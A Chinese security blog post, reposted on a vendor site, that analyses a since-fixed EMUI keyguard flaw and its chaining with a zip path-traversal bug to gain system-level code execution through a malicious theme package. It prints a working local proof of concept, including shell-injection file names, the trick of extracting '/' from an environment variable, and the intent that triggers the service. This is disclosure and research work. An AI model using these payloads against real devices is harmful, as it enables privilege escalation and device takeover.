长亭百川云 - 文章详情

装了这个主题包,就被拿system shell?

Flanker论安全

61

2024-07-13

装了我的主题包,就被拿system shell?

各位Android用户一定对主题包不陌生,这应该是Android相对于iOS可定制化的一大优势。
说到主题包,各位会想到什么?这个?

哦不对,跑题了。那这个?

好了又跑题了,下面是正文。两年前,我们对EMUI做了一次审计,发现了数十个各种各样的问题,从系统崩溃重启到system/内核权限代码执行,都早已报给了华为并得到了修复。
其中有些漏洞的挖掘和利用过程还是很有意思的,在这里总结成系列文章分享给大家。下面介绍的是一个通过恶意主题远程和本地均可以发起攻击拿到system权限的漏洞。在主题商店或者第三方渠道下载安装了这样一个主题,手机就会被拿到system权限。

EMUI keyguard应用中的system权限提升

EMUI中的锁屏应用,也就是keyguard应用, 负责系统主题和锁屏的下载、管理工作。
这段Manifest中可以看出,其以system uid运行,具有用户态比较高的权限。

1    <manifest android:sharedUserId="android.uid.system" android:versionCode="30000" android:versionName="3.0.5.1" coreApp="true" package="com.android.keyguard" platformBuildVersionCode="21" platformBuildVersionName="5.0-eng.jenkins.20150930.140728" xmlns:android="http://schemas.android.com/apk/res/android">

对odex过后的文件做了下反编译,下面这部分代码引起了我们的注意。这部分代码会在新主题被下载过之后执行,基本的作用是扫描主题存储目录,将所有文件名含有,对文件做相应刷新操作。

1final class DownloadServiceHandler extends Handler {private void downloadFinish(ArrayList arg5, boolean arg6) {
2  //...
3  UpdateHelper.switchChannelFilesName(DownloadService.this.getBaseContext(),".downloading",".apply", arg5);
4  File[] v0 = UpdateHelper.queryChannelFiles(".apply");          if(v0 == null || v0.length <= 0) 
5  {this.handleFailed();}       
6   else 
7  {
8  DownloadService.this.handleChannelDownloadFinish(arg5, arg6);
9  }
10//...

DownloadService继续追下去

1com.android.huawei.magazineunlock.update.UpdateHelper switchChannelFilesNamepublic static boolean switchChannelFilesName (Context arg8, String arg9, String arg10, ArrayList arg11){   boolean v5;
2  File[] files=UpdateHelper.queryChannelFiles(arg9,arg11);    if(files == null || files.length == 0 ) {
3        v5 = false;
4}    else {        int i;         for(i = 0 ; i < files.length; ++i) {
5 String path = files[i].getAbsolutePath();
6 String newName = path.replaceAll(arg9,arg10);             if(!files[i].renameTo(new File(newName))  &&   !CommandLineUtil.mv("root",CommandLineUtil.addQuoteMark(path), CommandLineUtil.addQuoteMark(newName)))   {
7 Log.i("UpdateHelper" , "switch channel files , mv failed");
8 }
9  }
10        v5 = true;
11    }    return v5;
12}

看起来第一次是调用File.renameTo,如果失败了,再次调用CommandLineUtil.mv函数。

queryChannelFiles函数的作用是扫描 /sdcard/MagazineUpdate/download目录下的一级File,如果文件名包含通配符,那么返回该File.

CommandLineUtil.mv函数是做什么的?

1public static boolean mv (String arg4, String arg5, String arg6 ) {
2    Object[] obj = new Object[2];
3    obj[0] = arg5.indexOf(" ")>= 0 ? CommandLineUtil.cutOutString(arg5) : arg5;
4    obj[1] = arg6.indexOf(" ")>= 0 ? CommandLineUtil.cutOutString(arg6) : arg6;    return CommandLineUtil.run(arg4 , "mv %s %s", obj);
5}
6    private static InputStream run (boolean arg6, String arg7, String arg8 , Object[] arg9) {
7    InputStream v0 = null ;
8    String[] str2 = new String[3];    
9    if(arg9.length > 0) {
10        String str1 = String.format(arg8,arg9 );        
11    if(!TextUtils.isEmpty (((CharSequence)arg7))) {
12            str2[0] = "/system/bin/sh";
13            str2[1] = "-c";
14            str2[2] = str1;
15            v0 = CommandLineUtil.runInner(arg6, str2);
16        }
17    }    return v0;
18}

这不是”/system/bin/sh -c”,命令注入了嘛!

事情就这么结束了?

那当然不是,否则这个漏洞也没必要写个博客了。
仔细看下这个函数,我们要构造payload需要若干个条件

  • 通过CommandLIneUtil.addQuoteMark的过滤

  • 让第一次renameTo失败

  • 构造出文件名包含命令执行语句的且合法的文件
    这三项从简到难。第一个最简单,我们来看看CommandLineUtil.addQuoteMark是如何过滤的:

    Step1

    1public static String addQuoteMark(String arg2) {  if(!TextUtils.isEmpty(((CharSequence)arg2)) && arg2.charAt(0) != 34 && !arg2.contains("*")) {
    2      arg2 = "\"" + arg2 + "\"";
    3  }  return arg2;
    4}

    这个好像没什么用嘛…直接闭合下,KO

    Step2

    然后再来看第二个,如何让renameTo失败?
    我们来看下Java 官方文档:

    1renameTo
  • 1public boolean renameTo(File dest)
  • 1Renames the file denoted by this abstract pathname.
    2Many aspects of the behavior of this method are inherently platform-dependent: The rename operation might not be able to move a file from one filesystem to another, it might not be atomic, and it might not succeed if a file with the destination abstract pathname already exists. The return value should always be checked to make sure that the rename operation was successful.

    大意就是,大爷我(Oracle)也不知道这帮孙子究竟把这个API实现成什么样子了,不同平台的不同孙子做法不一样,因为他们对应的syscall实现不一样。那么Android平台上的JVM是不是这样的一个孙子?
    如下代码告诉了我们结果:

    1Runtime.getRuntime.exec("touch /sdcard/1");
    2Runtime.getRuntime.exec("touch /sdcard/2");
    3System.out.println(new File("/sdcard/1").renameTo(new File("/sdcard/2")));

    Err…没这么简单,返回的是true。
    那我们再回过头来看具体的syscall描述:

    1SYNOPSIS         top     
  • 1#include <stdio.h>
    2     int rename(const char *oldpath, const char *newpath);
  • 1
    2     rename() renames a file, moving it between directories if required.
    3     Any other hard links to the file (as created using link(2)) are
    4     unaffected.  Open file descriptors for oldpath are also unaffected.
    5     Various restrictions determine whether or not the rename operation
    6     succeeds: see ERRORS below.
    7     
  • 1
    2     If newpath already exists, it will be atomically replaced, so that
    3     there is no point at which another process attempting to access
    4     newpath will find it missing. 
  • 1//...snip
  • 1
    2     oldpath can specify a directory.  In this case, newpath must either
    3     not exist, or it must specify an empty directory.

    那么如果源文件是目录,目标文件已存在且不是非空目录,那么自然就返回false了。

    Step3

    再回过头来看我们可以控制的参数,

    1          String path = files[i].getAbsolutePath();
    2          String newName = path.replaceAll(arg9,arg10);                    
    1if(!files[i].renameTo(new File(newName)) && !CommandLineUtil.mv("root",CommandLineUtil. addQuoteMark(path), CommandLineUtil.addQuoteMark(newName))) {

    我们需要构造出合法的文件名,以此作为payload,实现代码执行。但是问题就来了:文件名中是不能出现/这种路径符号的(否则就成一个目录了),但是没有了这个路径符号,我们又基本上无法执行任何有意义的命令!(即使reboot也是需要path的)
    事实上,在最开始确认这个漏洞的时候,我思来想去,最终用了如下的payload来首先确定漏洞存在:

    1File file2 = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".downloading.a");

    input keyevent是少有的几个不需要设置PATH也不需要绝对路径就可以执行的命令,但是没什么卵用。。。

    这时,我掐指一算,想起来了小时候日站的一个trick:
    bash/mksh允许通过通配符的方式从已有的字符串中提取出局部字符串。
    已有的字符串又有什么呢?环境变量

    1echo $ANDROID_DATA/data
    1S=${ANDROID_DATA%data}
  • 1echo $S
  • 1/

    这样我们就可以提取出一个/,以$S的形式表示。而这个在文件名中是完全合法的。通过如下代码构造文件,随后通过intent触发service,我们就能够实现以systemuid执行任意binary的目的。

    1void prepareFile1() throws IOException {  //File file = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".apply.a");
    2  //File file2 = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".downloading.a");
    3  File file = new File("/sdcard/MagazineUpdate/download/ddd.;S=${ANDROID_DATA%data};$ANDROID_DATA$S\"1\";\".apply.a");
    4  File file2 = new File("/sdcard/MagazineUpdate/download/ddd.;S=${ANDROID_DATA%data};$ANDROID_DATA$S\"1\";\".downloading.a");
    5  file.createNewFile();
    6  file2.mkdir();
    7}
  • 1void startPOCService(){
    2  ChannelInfo info = new ChannelInfo();
    3  info.downloadUrl = "http://172.16.4.172:8000/dummy";
    4  info.channelId = "ddd";
    5  info.size = 10110240;
    6  ArrayList<ChannelInfo> list = new ArrayList<>();
    7  list.add(info);
    8  Intent intent = new Intent();
    9  intent.setComponent(new ComponentName("com.android.keyguard","com.android.huawei.magazineunlock.update.DownloadService"));
    10  intent.setAction("com.android.keyguard.magazinulock.update.DOWNLOAD_CHANNEL");
    11  intent.putParcelableArrayListExtra("update_list", list);
    12  intent.putExtra("type",6);
    13  startService(intent);
    14}

    Chain to remote

    但这个只是一个本地exp,有没有办法远程呢?
    我们注意到,所谓的主题文件,实际上是一个zip压缩包。主题的安装最终指向如下路径:

    1public static void applyTheme(Context arg6 , String arg7) {
    2      PackageManager packageManager0 = arg6. getPackageManager();
    3      HwLog.d("ApplyTheme" , "EndInstallHwThemetime : " + System.currentTimeMillis ());     
  • 1 try {
    2          packageManager0.getClass().getMethod("installHwTheme", String.class).invoke(packageManager0 ,
    3                  arg7);
    4      }      catch()//...
    5      }
    6      HwLog.d("ApplyTheme" , "EndInstallHwThemetime : " + System.currentTimeMillis ());
    7  }

    这是一个在system_server中实现的服务,实现在huawei.android.hwutil.ZipUtil.unZipFile。代码比较长,这里就不贴了。聪明的读者应该已经意识到了

没有过滤ZipEntry,可以实现路径回溯。

  • 我们只要在主题包中插入包含精心布置的命令执行字符串的entry,就可以实现本地攻击同样的效果。

说到这里,有个需要澄清的地方是:在Android5之后,主流机型system_server/system_app进程写dalvik-cache的能力已经被SELinux禁止掉了,即使说他们都是systemuid。所以单个ZipEntry漏洞已经不存在通杀的利用方法。我们可能需要找一些动态加载的代码进行覆盖。
但并不妨碍我们将这个与上述漏洞结合起来,实现完整的远程代码执行。

  • 综述

    One theme to system privilege? 上面的分析完整地告诉了这是如何达到的。鉴于攻击的危害性,这里不会放出远程利用的exploit,但是整个漏洞的利用过程,还是蛮有意思的XD

    下期预告

    "嘿嘿,前面不让进,我就走后门" - EMUI中另一个system提权漏洞简析。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备2024055124号-2